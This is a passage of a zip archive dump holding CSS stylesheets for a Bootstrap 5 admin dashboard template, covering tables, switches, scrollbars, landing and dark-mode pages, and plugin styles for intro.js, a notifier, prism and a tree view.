0.45rem .25rem; } .table.switch-table th .btn, .table.switch-table td .btn { margin-bottom: 0; } .switch.btn-outline-primary .switch-handle { background-color: #51459d !important; border-color: #51459d !important; } .switch.btn-outline-secondary .switch-handle { background-color: #6c757d !important; border-color: #6c757d !important; } .switch.btn-outline-success .switch-handle { background-color: #6fd943 !important; border-color: #6fd943 !important; } .switch.btn-outline-info .switch-handle { background-color: #3ec9d6 !important; border-color: #3ec9d6 !important; } .switch.btn-outline-warning .switch-handle { background-color: #ffa21d !important; border-color: #ffa21d !important; } .switch.btn-outline-danger .switch-handle { background-color: #ff3a6e !important; border-color: #ff3a6e !important; } .switch.btn-outline-light .switch-handle { background-color: #f8f9fa !important; border-color: #f8f9fa !important; } .switch.btn-outline-dark .switch-handle { background-color: #1c232f !important; border-color: #1c232f !important; } /**====== Switches css end ======**/ /** ===================== Data Tables css start ========================== **/ .table td, .table th { border-top: 1px solid #f1f1f1; border-bottom: 1px solid #f1f1f1; white-space: nowrap; padding: 0.7rem 0.75rem; } .table thead th { border-bottom: 1px solid #f1f1f1; font-size: 13px; color: #060606; background: #f8f9fd; text-transform: uppercase; } .table tbody + tbody { border-top: 2px solid #f1f1f1; } .table.table-dark thead th { background-color: #11171a; } .table.dataTable[class*="table-"] thead th { background: #f8f9fd; } .table > :not(:last-child) > :last-child > * { border-bottom-color: #f1f1f1; } .table > :not(:first-child) { border-top: none; } /* Border versions */ .table-bordered { border: 1px solid #f1f1f1; } .table-bordered td, .table-bordered th { border: 1px solid #f1f1f1; } /* Zebra-striping */ .table-striped tbody tr:nth-of-type(2n+1) { background-color: rgba(81, 69, 157, 0.03); } /* Hover effect */ .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } /* Table backgrounds */ .table .thead-dark th { color: #fff; background-color: #1c232f; border-color: #090b0f; } .table-dark { color: #fff; background-color: #1c232f; } .table-dark td, .table-dark th, .table-dark thead th { border-color: #090b0f; } .table-dark.table-striped tbody tr:nth-of-type(odd) { background-color: #181e29; } .table-dark.table-hover tbody tr:hover { background-color: #12171f; } .table-dark thead th { color: #fff; } /* fixed header position */ table.dataTable.fixedHeader-floating { top: calc(70px + 55px) !important; } @media screen and (max-width: 992px) { table.dataTable.fixedHeader-floating { display: none !important; } } @media screen and (max-width: 992px) { .fixedHeader-locked { display: none !important; } } /** ===================== Foo-table css start ========================== **/ .footable .pagination > .active > a, .footable .pagination > .active > span { background-color: #51459d; border-color: #51459d; } .footable .pagination > .active > a:focus, .footable .pagination > .active > a:hover, .footable .pagination > .active > span:focus, .footable .pagination > .active > span:hover { background-color: #51459d; border-color: #51459d; } .footable .pagination > li > a, .footable .pagination > li > span { color: #222; } .footable-details.table, .footable.table { margin-bottom: 0; } table.footable > tfoot > tr.footable-paging > td > span.label { margin-bottom: 0; } table.footable-paging-center > tfoot > tr.footable-paging > td { padding-bottom: 0; } .table-columned > tbody > tr > td { border: 0; border-left: 1px solid #f1f1f1; } .table-columned > tbody > tr > th { border: 0; } /**====== Foo-table css end ======**/ /**======= basic table css start =======**/ .table.table-xl td, .table.table-xl th { padding: 1.25rem 0.8rem; } .table.table-lg td, .table.table-lg th { padding: 0.9rem 0.8rem; } .table.table-de td, .table.table-de th { padding: 0.75rem 0.8rem; } .table.table-sm td, .table.table-sm th { padding: 0.6rem 0.8rem; } .table.table-xs td, .table.table-xs th { padding: 0.4rem 0.8rem; } /**======= basic table css end ======**/ #row-delete .selected, #row-select .selected { background-color: #51459d; color: #fff; } table.dataTable tbody > tr > .selected, table.dataTable tbody > tr.selected { background: #51459d; } table.dataTable tbody > tr > .selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { text-shadow: 1px 1px #e4f2fe, -1px -1px #e4f2fe, 1px -1px #e4f2fe, -1px 1px #e4f2fe; } div.dataTables_wrapper div.dataTables_length select { padding-right: 2rem; } table.dataTable tbody .selected td.select-checkbox:before, table.dataTable tbody .selected th.select-checkbox:before { border-color: #fff; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { content: '\2714'; margin-top: -11px; margin-left: -4px; text-align: center; } div.dt-button-info { position: fixed; top: 50%; left: 50%; width: 400px; margin-top: -100px; margin-left: -200px; background-color: #aba4d7; color: #51459d; border: 2px solid #51459d; box-shadow: 3px 3px 8px rgba(0, 0, 0, 0.3); border-radius: 3px; text-align: center; z-index: 21; } div.dt-button-info h2, div.dt-button-info .h2 { padding: 0.5em; margin: 0; font-weight: normal; color: #fff; border-bottom: 1px solid #51459d; background-color: #51459d; } div.dt-button-info > div { padding: 1em; } .dt-buttons { margin-bottom: 5px; } table.dataTable tbody td.focus, table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #51459d; } div.dtk-focus-alt table.dataTable tbody td.focus, div.dtk-focus-alt table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #ffa21d; background: rgba(255, 162, 29, 0.15); color: #ffa21d; } table.dataTable > thead .sorting:before, table.dataTable > thead .sorting:after, table.dataTable > thead .sorting_asc:before, table.dataTable > thead .sorting_asc:after, table.dataTable > thead .sorting_desc:before, table.dataTable > thead .sorting_desc:after, table.dataTable > thead .sorting_asc_disabled:before, table.dataTable > thead .sorting_asc_disabled:after, table.dataTable > thead .sorting_desc_disabled:before, table.dataTable > thead .sorting_desc_disabled:after { top: 13px; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { margin-top: -21px; margin-left: -7px; } /**====== Data Tables css end ======**/ .peity-chart + .peity { width: 100%; height: 250px; } /**====== Start Sidebar scroll css ======**/ .ps { overflow: hidden !important; overflow-anchor: none; touch-action: auto; } .ps__rail-x { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; height: 15px; bottom: 0; position: absolute; } .ps__rail-y { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; width: 15px; right: 0; position: absolute; } .ps--active-x > .ps__rail-x, .ps--active-y > .ps__rail-y { display: block; background-color: transparent; } .ps:hover > .ps__rail-x, .ps:hover > .ps__rail-y { opacity: 0.6; } .ps--focus > .ps__rail-x, .ps--focus > .ps__rail-y { opacity: 0.6; } .ps--scrolling-x > .ps__rail-x, .ps--scrolling-y > .ps__rail-y { opacity: 0.6; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background-color: #eee; opacity: 0.9; } .ps__thumb-x { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, height 0.2s ease-in-out; height: 6px; bottom: 2px; position: absolute; } .ps__thumb-y { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, width 0.2s ease-in-out; width: 6px; right: 2px; position: absolute; } .ps__rail-x.ps--clicking .ps__thumb-x, .ps__rail-x:focus > .ps__thumb-x, .ps__rail-x:hover > .ps__thumb-x { background-color: #999; height: 11px; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background-color: #999; width: 11px; } @supports (-ms-overflow-style: none) { .ps { overflow: auto !important; } } @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { .ps { overflow: auto !important; } } .navbar-content { position: relative; } .ps__rail-y { z-index: 5; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background: transparent; } .ps__thumb-y { background: #95a4e1; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background: #a9b5e6; } /**====== End Sidebar scroll css ======**/ PKZ+>>css/landing.cssnu[/**====================================================================== ========================================================================= Template Name: Dashboard Bootstrap 5 Admin Template Author: Rajodiya Infotech Support: [support link] File: style.css ========================================================================= =================================================================================== */ body { margin: 0; overflow-x: hidden; background: white; } a { outline: none; text-decoration: none; } a:focus, a:hover { outline: none; text-decoration: none; } section { padding-top: 90px; padding-bottom: 90px; } .bg-dark { background: #1c232f !important; color: #fff; } .bg-dark p { color: #b5bdca; } .bg-dark .title h2 { color: rgba(255, 255, 255, 0.7); } .bg-dark .title h2 span { color: #fff; } .theme-alt-bg { background: #ededed; } .title { position: relative; text-align: center; margin-bottom: 50px; } .title h2 { margin-bottom: 15px; z-index: 3; color: #293240; margin-top: 15px; text-transform: capitalize; } .title h2 span { font-weight: 600; color: #060606; } .title .material-icons-two-tone { font-size: 40px; } @media only screen and (max-width: 992px) { .title { margin-bottom: 30px; } .title h2 { margin-bottom: 10px; } } .navbar { position: fixed; z-index: 1000; width: 100%; height: 70px; top: -80px; -webkit-backdrop-filter: blur(5px); backdrop-filter: blur(5px); transition: all 0.3s linear; margin-bottom: 0; box-shadow: 0 8px 6px -10px rgba(0, 0, 0, 0.5); } .navbar.default { top: 0; background: rgba(28, 35, 47, 0.9); } /* .navbar.default.top-nav-collapse { background: transparent; box-shadow: none; } */ @media (min-width: 767px) { .navbar .navbar-nav .nav-link { position: relative; } .navbar .navbar-nav .nav-link.active:after { left: 15%; right: 15%; } } header:not(.price-header) { position: relative; color: #fff; min-height: 60vh; padding-top: 160px; padding-bottom: 90px; display: flex; align-items: center; } header:not(.price-header) > * { position: relative; z-index: 5; } header:not(.price-header):after, header:not(.price-header):before { content: ""; position: absolute; top: -100px; left: 0; right: 0; bottom: 0; } header:not(.price-header):before { background-attachment: fixed; z-index: 1; } header.price-header { position: relative; min-height: 60vh; padding-top: 160px; padding-bottom: 90px; display: flex; align-items: center; } .dashboard-block { position: relative; overflow: hidden; } .dashboard-block .img-dashboard { margin-bottom: -15%; } .feature { text-align: center; } .feature .card-body { padding-top: 40px; padding-bottom: 40px; } .feature .theme-avtar { width: 130px; height: 130px; font-size: 45px; margin: 0 auto; border-radius: 50px; } .price-section { position: relative; } .price-section > * { position: relative; z-index: 5; } .price-section::after { content: ""; position: absolute; left: 0; right: 0; bottom: 0; top: 50%; z-index: 1; background: linear-gradient(180deg, #cecece 0%, #ffffff 100%); } .faq .accordion .accordion-item { border-radius: 10px; overflow: hidden; border: none; margin-bottom: 10px; } .faq .accordion .accordion-item .accordion-button { font-weight: 700; padding: 1.3rem 1.25rem; } .faq .accordion .accordion-item .accordion-button span > i { font-size: 20px; margin-right: 8px; } .faq .accordion .accordion-item .accordion-button:not(.collapsed) { border-radius: 10px; background: transparent; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .faq .accordion .accordion-item .accordion-body { padding: 2.3rem 2.3rem 2.3rem 3rem; } .price-card { text-align: center; position: relative; margin-top: 30px; } .price-card.price-2 { color: #fff; } .price-card.price-2 .price-badge { color: #fff; background: #1c232f; } .price-card .p-price { font-size: 80px; } .price-card .price-badge { color: #fff; padding: 7px 24px; border-radius: 30px; position: absolute; top: 0; left: 50%; transform: translate(-50%, -50%); } .price-card .list-unstyled { display: inline-block; } .price-card .list-unstyled li { display: flex; align-items: center; } .price-card .list-unstyled li + li { margin-top: 8px; } .price-card .list-unstyled .theme-avtar { display: inline-flex; width: 30px; height: 30px; border-radius: 10px; background: #fff; margin-right: 15px; } .side-feature { overflow: hidden; } .side-feature .feature-img-row { width: 80vw; } @media only screen and (max-width: 992px) { header, section { padding-top: 40px; padding-bottom: 40px; } } @media only screen and (max-width: 768px) { .navbar { height: auto; } } PKZ%-Ncss/custom-dark.cssnu[.setting-accordion .accordion-item { border: 1px solid #565e68 !important; border-radius: 7px; } .setting-accordion .accordion-header { border-radius: 7px; -webkit-border-radius: 7px; -moz-border-radius: 7px; -ms-border-radius: 7px; -o-border-radius: 7px; } .setting-accordion .accordion-header .accordion-button { background: #292A33 !important; display: flex; justify-content: space-between; border-radius: 7px; box-shadow: none; border-bottom: 1px solid transparent; } .setting-accordion .accordion-header .accordion-button:not(.collapsed) { border-color: #565e68; } .setting-accordion .accordion-header .accordion-button span { flex: 1; } .setting-accordion .accordion-header .accordion-button::after { margin: 0 0 0 5px; width: 24px; height: 24px; background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='25' viewBox='0 0 24 25' fill='none'%3E%3Cpath opacity='0.4' d='M12 22.4146C17.5228 22.4146 22 17.9374 22 12.4146C22 6.8917 17.5228 2.41455 12 2.41455C6.47715 2.41455 2 6.8917 2 12.4146C2 17.9374 6.47715 22.4146 12 22.4146Z' fill=''/%3E%3Cpath d='M15.5301 12.8845C15.2371 12.5915 14.762 12.5915 14.469 12.8845L12.749 14.6045V8.41455C12.749 8.00055 12.413 7.66455 11.999 7.66455C11.585 7.66455 11.249 8.00055 11.249 8.41455L11.249 14.6035L9.52908 12.8835C9.23608 12.5905 8.76104 12.5905 8.46804 12.8835C8.17504 13.1765 8.17504 13.6516 8.46804 13.9446L11.468 16.9446C11.537 17.0136 11.62 17.0684 11.711 17.1064C11.802 17.1444 11.9001 17.1646 11.9981 17.1646C12.0961 17.1646 12.1929 17.1444 12.2849 17.1064C12.3769 17.0684 12.4591 17.0136 12.5281 16.9446L15.5281 13.9446C15.8231 13.6516 15.8231 13.1775 15.5301 12.8845Z' fill='%2325314C'/%3E%3C/svg%3E"); background-color:white; background-size: 24px; border-radius: 100%; -webkit-border-radius: 100%; -moz-border-radius: 100%; -ms-border-radius: 100%; -o-border-radius: 100%; } .setting-accordion .accordion-item:not(:last-of-type) { margin-bottom: 15px; } .apply-job-wrapper.bg-light>*, .apply-job-wrapper.bg-light>p{ color:#FFFFFF !important; } .apply-job-wrapper.bg-light>*, .apply-job-wrapper.bg-light>ul li p{ color:#FFFFFF !important; } /* create button icon */ /* .card-header a:not([href]){ color:#fff; } */ /* custom dark-mode && rtl css */ [dir="rtl"] .dash-sidebar { left: auto !important; } /* [dir="rtl"] .dash-header { left: 0; right: 280px; } */ [dir="rtl"] .dash-header:not(.transprent-bg) .header-wrapper { padding: 0 0 0 30px; } [dir="rtl"] .dash-header:not(.transprent-bg):not(.dash-mob-header)~.dash-container { margin-left: 0px; } [dir="rtl"] .me-auto.dash-mob-drp { margin-right: 10px !important; } [dir="rtl"] .me-auto { margin-left: 10px !important; } [dir="rtl"] .header-wrapper .ms-auto { margin-left: 0 !important; } /* [dir="rtl"] .dash-header { left: 0 !important; right: 0 !important; } */ [dir="rtl"] .list-group-flush>.list-group-item .float-end { float: left !important; } /* custom End dark-mode && rtl css */ /* login page design css */ .custom-login { background: var(--bs-dark); } .custom-login .navbar { background: var(--bs-dark); } .custom-login .navbar .nav-link , body .custom-login .dash-header .drp-language .drp-text{ color: var(--bs-white); } .custom-login .dropdown-toggle::after { filter: invert(1); } .custom-login .custom-wrapper .card .card-body { background-color: var(--bs-card-bg); } .custom-login .navbar .nav-item .nav-link::after { background: var(--bs-white); } .custom-login .drp-language a span{ color: #fff !important; } .custom-login .drp-language .btn { background: #292a33; } .custom-login .drp-language .drp-text { color: var(--bs-green); } .custom-login .drp-language .btn.show { border-color: transparent; } .custom-login .navbar .navbar-toggler-icon { filter: invert(1); } .custom-login .navbar .navbar-collapse .navbar-nav{ margin-left: 0 !important; } /* custom End login page design css */PKZȣ^DDcss/plugins/introjs.min.cssnu[.introjs-overlay{position:absolute;-webkit-box-sizing:content-box;box-sizing:content-box;z-index:999999;opacity:0;-webkit-transition:all .3s ease-out;-o-transition:all .3s ease-out;transition:all .3s ease-out}.introjs-showElement{z-index:9999999!important}tr.introjs-showElement>td{z-index:9999999!important;position:relative}tr.introjs-showElement>th{z-index:9999999!important;position:relative}.introjs-disableInteraction{z-index:99999999!important;position:absolute;background-color:#fff;opacity:0}.introjs-relativePosition{position:relative}.introjs-helperLayer{-webkit-box-sizing:content-box;box-sizing:content-box;position:absolute;z-index:9999998;border-radius:4px;-webkit-transition:all .3s ease-out;-o-transition:all .3s ease-out;transition:all .3s ease-out}.introjs-helperLayer *{-webkit-box-sizing:content-box;box-sizing:content-box}.introjs-helperLayer :before{-webkit-box-sizing:content-box;box-sizing:content-box}.introjs-helperLayer :after{-webkit-box-sizing:content-box;box-sizing:content-box}.introjs-tooltipReferenceLayer{font-family:"Helvetica Neue",Inter,ui-sans-serif,"Apple Color Emoji",Helvetica,Arial,sans-serif;-webkit-box-sizing:content-box;box-sizing:content-box;position:absolute;visibility:hidden;z-index:100000000;background-color:transparent;-webkit-transition:all .3s ease-out;-o-transition:all .3s ease-out;transition:all .3s ease-out}.introjs-tooltipReferenceLayer *{font-family:"Helvetica Neue",Inter,ui-sans-serif,"Apple Color Emoji",Helvetica,Arial,sans-serif}.introjs-helperNumberLayer{font-family:"Helvetica Neue",Inter,ui-sans-serif,"Apple Color Emoji",Helvetica,Arial,sans-serif;color:#9e9e9e;text-align:center;padding-top:10px;padding-bottom:10px}.introjs-arrow{border:5px solid transparent;content:"";position:absolute}.introjs-arrow.top{top:-10px;left:10px;border-bottom-color:#fff}.introjs-arrow.top-right{top:-10px;right:10px;border-bottom-color:#fff}.introjs-arrow.top-middle{top:-10px;left:50%;margin-left:-5px;border-bottom-color:#fff}.introjs-arrow.right{right:-10px;top:10px;border-left-color:#fff}.introjs-arrow.right-bottom{bottom:10px;right:-10px;border-left-color:#fff}.introjs-arrow.bottom{bottom:-10px;left:10px;border-top-color:#fff}.introjs-arrow.bottom-right{bottom:-10px;right:10px;border-top-color:#fff}.introjs-arrow.bottom-middle{bottom:-10px;left:50%;margin-left:-5px;border-top-color:#fff}.introjs-arrow.left{left:-10px;top:10px;border-right-color:#fff}.introjs-arrow.left-bottom{left:-10px;bottom:10px;border-right-color:#fff}.introjs-tooltip{-webkit-box-sizing:content-box;box-sizing:content-box;position:absolute;visibility:visible;background-color:#fff;min-width:250px;max-width:300px;border-radius:5px;-webkit-box-shadow:0 3px 30px rgba(33,33,33,.3);box-shadow:0 3px 30px rgba(33,33,33,.3);-webkit-transition:opacity .1s ease-out;-o-transition:opacity .1s ease-out;transition:opacity .1s ease-out}.introjs-tooltiptext{padding:20px}.introjs-tooltip-title{font-size:18px;margin:0;padding:0;font-weight:700;float:left;line-height:32px}.introjs-tooltip-header{padding-left:20px;padding-right:20px;padding-top:10px}.introjs-tooltip-header:after{content:".";visibility:hidden;display:block;height:0;clear:both}.introjs-tooltipbuttons{border-top:1px solid #e0e0e0;padding:10px;text-align:right;white-space:nowrap}.introjs-tooltipbuttons:after{content:"";visibility:hidden;display:block;height:0;clear:both}.introjs-button{-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;overflow:visible;display:inline-block;padding:.5rem 1rem;border:1px solid #bdbdbd;text-decoration:none;text-shadow:1px 1px 0 #fff;font-size:14px;color:#424242;white-space:nowrap;cursor:pointer;outline:0;background-color:#f4f4f4;border-radius:.2em;zoom:1}.introjs-button:hover{outline:0;text-decoration:none;border-color:#9e9e9e;background-color:#e0e0e0;color:#212121}.introjs-button:focus{outline:0;text-decoration:none;background-color:#eee;-webkit-box-shadow:0 0 0 .2rem rgba(158,158,158,.5);box-shadow:0 0 0 .2rem rgba(158,158,158,.5);border:1px solid #616161;color:#212121}.introjs-button:active{outline:0;text-decoration:none;background-color:#e0e0e0;border-color:#9e9e9e;color:#212121}.introjs-button::-moz-focus-inner{padding:0;border:0}.introjs-skipbutton{-webkit-box-sizing:content-box;box-sizing:content-box;color:#616161;float:right;font-size:20px;cursor:pointer;font-weight:700;line-height:1;text-align:center;padding:7px 10px}.introjs-skipbutton:focus,.introjs-skipbutton:hover{color:#212121;outline:0;text-decoration:none}.introjs-prevbutton{float:left}.introjs-nextbutton{float:right}.introjs-disabled{color:#9e9e9e;border-color:#bdbdbd;-webkit-box-shadow:none;box-shadow:none;cursor:default;background-color:#f4f4f4;background-image:none;text-decoration:none}.introjs-disabled:focus,.introjs-disabled:hover{color:#9e9e9e;border-color:#bdbdbd;-webkit-box-shadow:none;box-shadow:none;cursor:default;background-color:#f4f4f4;background-image:none;text-decoration:none}.introjs-hidden{display:none}.introjs-bullets{text-align:center;padding-top:10px;padding-bottom:10px}.introjs-bullets ul{-webkit-box-sizing:content-box;box-sizing:content-box;clear:both;margin:0 auto 0;padding:0;display:inline-block}.introjs-bullets ul li{-webkit-box-sizing:content-box;box-sizing:content-box;list-style:none;float:left;margin:0 2px}.introjs-bullets ul li a{-webkit-transition:width .1s ease-in;-o-transition:width .1s ease-in;transition:width .1s ease-in;-webkit-box-sizing:content-box;box-sizing:content-box;display:block;width:6px;height:6px;background:#ccc;border-radius:10px;text-decoration:none;cursor:pointer}.introjs-bullets ul li a:focus,.introjs-bullets ul li a:hover{width:15px;background:#999;text-decoration:none;outline:0}.introjs-bullets ul li a.active{width:15px;background:#999}.introjs-progress{-webkit-box-sizing:content-box;box-sizing:content-box;overflow:hidden;height:10px;margin:10px;border-radius:4px;background-color:#e0e0e0}.introjs-progressbar{-webkit-box-sizing:content-box;box-sizing:content-box;float:left;width:0%;height:100%;font-size:10px;line-height:10px;text-align:center;background-color:#08c}.introjsFloatingElement{position:absolute;height:0;width:0;left:50%;top:50%}.introjs-fixedTooltip{position:fixed}.introjs-hint{-webkit-box-sizing:content-box;box-sizing:content-box;position:absolute;background:0 0;width:20px;height:15px;cursor:pointer}.introjs-hint:focus{border:0;outline:0}.introjs-hint:hover>.introjs-hint-pulse{background-color:rgba(60,60,60,.57)}.introjs-hidehint{display:none}.introjs-fixedhint{position:fixed}@-webkit-keyframes introjspulse{0%{-webkit-transform:scale(.95);transform:scale(.95);-webkit-box-shadow:0 0 0 0 rgba(0,0,0,.7);box-shadow:0 0 0 0 rgba(0,0,0,.7)}70%{-webkit-transform:scale(1);transform:scale(1);-webkit-box-shadow:0 0 0 10px transparent;box-shadow:0 0 0 10px transparent}100%{-webkit-transform:scale(.95);transform:scale(.95);-webkit-box-shadow:0 0 0 0 transparent;box-shadow:0 0 0 0 transparent}}@keyframes introjspulse{0%{-webkit-transform:scale(.95);transform:scale(.95);-webkit-box-shadow:0 0 0 0 rgba(0,0,0,.7);box-shadow:0 0 0 0 rgba(0,0,0,.7)}70%{-webkit-transform:scale(1);transform:scale(1);-webkit-box-shadow:0 0 0 10px transparent;box-shadow:0 0 0 10px transparent}100%{-webkit-transform:scale(.95);transform:scale(.95);-webkit-box-shadow:0 0 0 0 transparent;box-shadow:0 0 0 0 transparent}}.introjs-hint-pulse{-webkit-box-sizing:content-box;box-sizing:content-box;width:15px;height:15px;border-radius:30px;background-color:rgba(136,136,136,.24);z-index:10;position:absolute;-webkit-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out;-webkit-animation:introjspulse 2s infinite;animation:introjspulse 2s infinite}.introjs-hint-no-anim .introjs-hint-pulse{-webkit-animation:none;animation:none}.introjs-hint-dot{-webkit-box-sizing:content-box;box-sizing:content-box;background:0 0;border-radius:60px;height:50px;width:50px;position:absolute;top:-18px;left:-18px;z-index:1;opacity:0} /*# sourceMappingURL=introjs.min.css.map */PKZ%d,css/plugins/notifier.cssnu[.notifier-container{z-index:999;position:fixed;top:4px;right:4px;padding:4px;width:350px;max-width:98%;font-family:"Segoe UI",Tahoma,Calibri,Verdana,sans-serif;color:#999;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.notifier-container *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.notifier{position:relative;width:100%;min-height:62px;margin-bottom:12px;padding:8px;background:#fff;border-left:4px solid #95a5a6;border-radius:1px;box-shadow:0 1px 10px 0 rgba(0,0,0,.1),0 2px 15px 0 rgba(0,0,0,.05);opacity:0;-webkit-transform:translateX(100%);-moz-transform:translateX(100%);-ms-transform:translateX(100%);transform:translateX(100%);-webkit-transition:all .6s cubic-bezier(.5,-.5,.3,1.4),opacity .6s ease;-moz-transition:all .6s cubic-bezier(.5,-.5,.3,1.4),opacity .6s ease;-ms-transition:all .6s cubic-bezier(.5,-.5,.3,1.4),opacity .6s ease;transition:all .6s cubic-bezier(.5,-.5,.3,1.4),opacity .6s ease}.notifier.shown{opacity:1;-webkit-transform:translateX(0);-moz-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}.notifier.shown:hover{opacity:1}.notifier-close{position:absolute;top:4px;right:4px;width:16px;height:16px;padding:0;text-align:center;text-decoration:none;color:#aaa;font-weight:700;font-size:16px;background:0 0;outline:0;border:none;border-radius:50%;cursor:pointer;opacity:.5;-webkit-transition:.3s ease;-moz-transition:.3s ease;-ms-transition:.3s ease;transition:.3s ease}.notifier-close:focus,.notifier-close:hover{opacity:1;color:#999;background:#eee}.notifier-img{float:left;margin-right:8px;vertical-align:middle}.img{width:48px;height:48px}.notifier-title{margin:0 0 4px;padding:0;font-size:18px;font-weight:400}.notifier-body{font-size:13px}.notifier.info{border-left-color:#3498db}.notifier.success{border-left-color:#1abc9c}.notifier.warning{border-left-color:#f1c40f}.notifier.danger{border-left-color:#e74c3c}PKZcss/plugins/prism-coy.cssnu[/** * prism.js Coy theme for JavaScript, CoffeeScript, CSS and HTML * Based on https://github.com/tshedor/workshop-wp-theme (Example: http://workshop.kansan.com/category/sessions/basics or http://workshop.timshedor.com/category/sessions/basics); * @author Tim Shedor */ code[class*="language-"], pre[class*="language-"] { color: black; background: none; font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; font-size: 1em; text-align: left; white-space: pre; word-spacing: normal; word-break: normal; word-wrap: normal; line-height: 1.5; -moz-tab-size: 4; -o-tab-size: 4; tab-size: 4; -webkit-hyphens: none; -moz-hyphens: none; -ms-hyphens: none; hyphens: none; } /* Code blocks */ pre[class*="language-"] { position: relative; margin: .5em 0; overflow: visible; padding: 1px; } pre[class*="language-"] > code { position: relative; z-index: 1; border-left: 10px solid #358ccb; box-shadow: -1px 0px 0px 0px #358ccb, 0px 0px 0px 1px #dfdfdf; background-color: #fdfdfd; background-image: linear-gradient(transparent 50%, rgba(69, 142, 209, 0.04) 50%); background-size: 3em 3em; background-origin: content-box; background-attachment: local; } code[class*="language-"] { max-height: inherit; height: inherit; padding: 0 1em; display: block; overflow: auto; } /* Margin bottom to accommodate shadow */ :not(pre) > code[class*="language-"], pre[class*="language-"] { background-color: #fdfdfd; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; margin-bottom: 1em; } /* Inline code */ :not(pre) > code[class*="language-"] { position: relative; padding: .2em; border-radius: 0.3em; color: #c92c2c; border: 1px solid rgba(0, 0, 0, 0.1); display: inline; white-space: normal; } pre[class*="language-"]:before, pre[class*="language-"]:after { content: ''; display: block; position: absolute; bottom: 0.75em; left: 0.18em; width: 40%; height: 20%; max-height: 13em; box-shadow: 0px 13px 8px #979797; -webkit-transform: rotate(-2deg); -moz-transform: rotate(-2deg); -ms-transform: rotate(-2deg); -o-transform: rotate(-2deg); transform: rotate(-2deg); } pre[class*="language-"]:after { right: 0.75em; left: auto; -webkit-transform: rotate(2deg); -moz-transform: rotate(2deg); -ms-transform: rotate(2deg); -o-transform: rotate(2deg); transform: rotate(2deg); } .token.comment, .token.block-comment, .token.prolog, .token.doctype, .token.cdata { color: #7D8B99; } .token.punctuation { color: #5F6364; } .token.property, .token.tag, .token.boolean, .token.number, .token.function-name, .token.constant, .token.symbol, .token.deleted { color: #c92c2c; } .token.selector, .token.attr-name, .token.string, .token.char, .token.function, .token.builtin, .token.inserted { color: #2f9c0a; } .token.operator, .token.entity, .token.url, .token.variable { color: #a67f59; background: rgba(255, 255, 255, 0.5); } .token.atrule, .token.attr-value, .token.keyword, .token.class-name { color: #1990b8; } .token.regex, .token.important { color: #e90; } .language-css .token.string, .style .token.string { color: #a67f59; background: rgba(255, 255, 255, 0.5); } .token.important { font-weight: normal; } .token.bold { font-weight: bold; } .token.italic { font-style: italic; } .token.entity { cursor: help; } .token.namespace { opacity: .7; } @media screen and (max-width: 767px) { pre[class*="language-"]:before, pre[class*="language-"]:after { bottom: 14px; box-shadow: none; } } /* Plugin styles: Line Numbers */ pre[class*="language-"].line-numbers.line-numbers { padding-left: 0; } pre[class*="language-"].line-numbers.line-numbers code { padding-left: 3.8em; } pre[class*="language-"].line-numbers.line-numbers .line-numbers-rows { left: 0; } /* Plugin styles: Line Highlight */ pre[class*="language-"][data-line] { padding-top: 0; padding-bottom: 0; padding-left: 0; } pre[data-line] code { position: relative; padding-left: 4em; } pre .line-highlight { margin-top: 0; } PKZ css/plugins/vanillatree.cssnu[.vtree ul.vtree-subtree, .vtree li.vtree-leaf { margin: 0; padding: 0; list-style-type: none; position: relative; } .vtree li.vtree-leaf { background-position: -90px 0; background-repeat: repeat-y; min-height: 18px; line-height: 18px; } .vtree li.vtree-leaf::before { content: ''; width: 18px; height: 18px; position: absolute; background-position: -36px 0; } .vtree li.vtree-leaf li.vtree-leaf { margin-left: 18px; } .vtree li.vtree-leaf:last-child { background-image: none; } .vtree li.vtree-leaf.closed ul.vtree-subtree { display: none; } .vtree li.vtree-leaf.vtree-has-children > span.vtree-toggle { display: block; width: 18px; height: 18px; background-position: -72px 0; position: absolute; left: 0; top: 0; } .vtree li.vtree-leaf.vtree-has-children.closed > 